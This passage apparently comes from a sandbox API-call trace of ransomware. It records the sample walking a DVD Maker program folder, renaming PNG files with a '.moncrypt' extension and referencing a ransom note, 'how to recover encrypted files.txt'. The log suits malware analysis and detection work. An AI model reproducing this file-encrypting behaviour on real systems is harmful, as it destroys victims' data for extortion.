maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png.moncrypt")) returned 0 [0058.365] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0058.365] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.365] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.365] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.365] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.365] GlobalUnlock (hMem=0x440004) returned 0 [0058.365] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.365] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.365] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.365] GlobalUnlock (hMem=0x440004) returned 0 [0058.365] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.365] GlobalUnlock (hMem=0x44000c) returned 0 [0058.365] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.366] CharLowerBuffW (in: lpsz="bandwidth.png", cchLength=0xd | out: lpsz="bandwidth.png") returned 0xd [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.366] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.pngr", lpUsedDefaultChar=0x0) returned 72 [0058.366] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\ResizingPanels\\bandwidth.pngr", lpUsedDefaultChar=0x0) returned 4 [0058.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 0x54e280 [0058.367] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.367] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.367] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.367] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png", dwFileAttributes=0x20) returned 0 [0058.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.368] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png.moncrypt")) returned 0 [0058.368] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0058.368] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.368] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.368] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.368] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.368] GlobalUnlock (hMem=0x44000c) returned 0 [0058.368] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.368] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.368] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.368] GlobalUnlock (hMem=0x44000c) returned 0 [0058.368] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.368] GlobalUnlock (hMem=0x440004) returned 0 [0058.369] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.369] CharLowerBuffW (in: lpsz="blackbars80.png", cchLength=0xf | out: lpsz="blackbars80.png") returned 0xf [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.pngy", lpUsedDefaultChar=0x0) returned 74 [0058.369] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\ResizingPanels\\blackbars80.pngy", lpUsedDefaultChar=0x0) returned 4 [0058.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 0x54e280 [0058.370] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.370] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.370] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.370] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png", dwFileAttributes=0x20) returned 0 [0058.370] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.370] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png.moncrypt")) returned 0 [0058.371] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.371] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.371] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.371] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.371] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.371] GlobalUnlock (hMem=0x440004) returned 0 [0058.371] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.371] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.371] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.371] GlobalUnlock (hMem=0x440004) returned 0 [0058.371] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.371] GlobalUnlock (hMem=0x44000c) returned 0 [0058.371] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.371] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0058.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 